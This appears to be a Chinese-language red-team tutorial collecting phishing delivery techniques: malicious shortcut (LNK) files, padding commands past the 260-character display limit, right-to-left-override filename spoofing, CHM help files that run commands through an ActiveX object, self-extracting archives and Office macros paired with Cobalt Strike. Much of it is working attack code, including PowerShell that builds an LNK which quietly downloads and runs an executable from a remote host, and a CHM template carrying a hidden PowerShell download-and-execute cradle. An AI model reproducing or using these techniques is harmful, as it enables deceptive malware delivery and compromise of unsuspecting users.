•
前言
在常年攻防演练以及红蓝对抗中常被用于红方攻击的一种进行打点的方式,由于本人只是个安服仔,接触的比较少(但也不能不学),就有了这篇文章,参考各位大佬的姿势总结一下,顺便让好哥哥们复习一下基础。
钓鱼手段
Lnk(快捷方式)
可以在“⽬标”栏写⼊⾃⼰的恶意命令,如powershell上线命令等,这里举例为CMD
当我点击谷歌浏览器时,弹出了CMD
可以进行更改图标
•
快速生成lnk样本
$WshShell = New-Object \-comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("test.lnk")
$Shortcut.TargetPath = "%SystemRoot%\\system32\\cmd.exe"
$Shortcut.IconLocation = "%SystemRoot%\\System32\\Shell32.dll,21"
$Shortcut.Arguments = "cmd /c powershell.exe -nop -w hidden -c IEX (new-object net.webclient).DownloadFile('http://192.168.1.7:8000/ascotbe.exe','.\\\\ascotbe.exe');&cmd /c .\\\\ascotbe.exe"
$Shortcut.Save()
运行
powershell -ExecutionPolicy RemoteSigned -file test.ps1
•
Tips
目标文件位置所能显示最大字符串为260个,所有我们可以把执行的命令放在260个字符后面
$file = Get-Content ".\\test.txt"
$WshShell = New-Object \-comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("test.lnk")
$Shortcut.TargetPath = "%SystemRoot%\\system32\\cmd.exe"
$Shortcut.IconLocation = "%SystemRoot%\\System32\\Shell32.dll,21"
$Shortcut.Arguments = ' '\+ $file
$Shortcut.Save()
文件后缀RTLO
他会让字符串倒着编码
•
用Python一键生成用,把txt改为png后缀
import os
os.rename('test.txt', 'test-\\u202egnp.txt')
import os
os.rename('cmd.exe', u'no\\u202eFDP.exe')
CHM文档
创建一个文件夹(名字随意),在文件夹里面再创建两个文件夹(名字随意)和一个index.html文件,在两个文件夹内部创建各创建一个index.html文件。然后先将下列代码复制到根文件夹中的index.html中
•
在index.html文件中编辑
<html
><head><title>Mousejack replaytitle><head>head><body>
command exec
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=',calc.exe'>
<PARAM name="Item2" value="273,1,1">
OBJECT>
<SCRIPT>
x.Click();
SCRIPT>
body>html>
•
使用cs生成修改模版中的calc.exe
<html><head><title>Mousejack replaytitle><head>head><body>
command exec
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=",powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://192.168.1.100:81/a'))">
<PARAM name="Item2" value="273,1,1">
OBJECT>
<SCRIPT>
x.Click();
SCRIPT>
body>html>
•
使用EasyCHM编译
•
原有模版CMD
•
ps上线
自解压
•
使用CS生成木马
•
创建自解压文件
•
高级自解压选项
•
解压路径-绝对路径
•
提取后运行
•
静默模式
•
更新模式
•
修改文件名
ResourceHacker
•
打开flash安装文件导出资源
•
替换资源文件
•
上线
office宏
本地加载
•
新建word,创建宏
•
cs生成宏粘贴